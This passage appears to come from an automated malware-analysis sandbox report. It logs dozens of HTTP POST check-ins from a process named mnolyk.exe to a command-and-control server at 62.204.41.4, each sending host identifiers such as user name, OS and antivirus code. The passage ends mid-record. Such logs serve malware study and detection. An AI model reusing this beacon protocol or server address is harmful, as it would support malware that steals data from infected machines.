Feb 8, 2023 21:32:20.315211058 CET	426	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:20.379268885 CET	427	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
227	192.168.2.3	49929	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:20.553590059 CET	427	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:20.618046999 CET	428	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
228	192.168.2.3	49930	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:20.796642065 CET	428	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:20.860563993 CET	429	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
229	192.168.2.3	49931	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:21.032345057 CET	429	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:21.097949028 CET	430	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
23	192.168.2.3	49725	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:22.403676987 CET	224	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:22.467572927 CET	224	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
230	192.168.2.3	49932	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:21.312522888 CET	430	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:21.376087904 CET	431	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
231	192.168.2.3	49933	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:21.545352936 CET	431	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:21.608124018 CET	432	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
232	192.168.2.3	49934	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:21.786854029 CET	432	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:21.851677895 CET	433	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
233	192.168.2.3	49935	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:22.032744884 CET	433	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:22.097754002 CET	434	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
234	192.168.2.3	49936	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:22.307699919 CET	434	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:22.371948004 CET	435	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
235	192.168.2.3	49937	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:22.552018881 CET	435	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:22.616642952 CET	436	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
236	192.168.2.3	49938	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:22.819597960 CET	436	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:22.885091066 CET	437	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
237	192.168.2.3	49939	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:23.062856913 CET	437	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:23.127954006 CET	438	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
238	192.168.2.3	49940	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:23.296031952 CET	438	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:23.359333038 CET	439	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
239	192.168.2.3	49941	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:23.532205105 CET	439	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:23.596193075 CET	440	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
24	192.168.2.3	49726	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:31:22.634931087 CET	225	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:31:22.698296070 CET	225	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:31:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
240	192.168.2.3	49942	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:23.769179106 CET	440	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:23.834645987 CET	441	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
241	192.168.2.3	49943	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:24.007317066 CET	441	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:24.071053982 CET	442	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
242	192.168.2.3	49944	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:24.249933004 CET	442	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:24.313520908 CET	443	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
243	192.168.2.3	49945	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:24.485227108 CET	443	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:24.553652048 CET	444	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
244	192.168.2.3	49946	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:24.773081064 CET	444	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:24.837829113 CET	445	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
245	192.168.2.3	49947	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 8, 2023 21:32:25.015743017 CET	445	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 87 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 35 37 31 33 34 35 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=571345&un=user&dm=&av=13&lv=0&og=1
Feb 8, 2023 21:32:25.080547094 CET	446	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 Feb 2023 20:32:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
246	192.168.2.3	49948	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
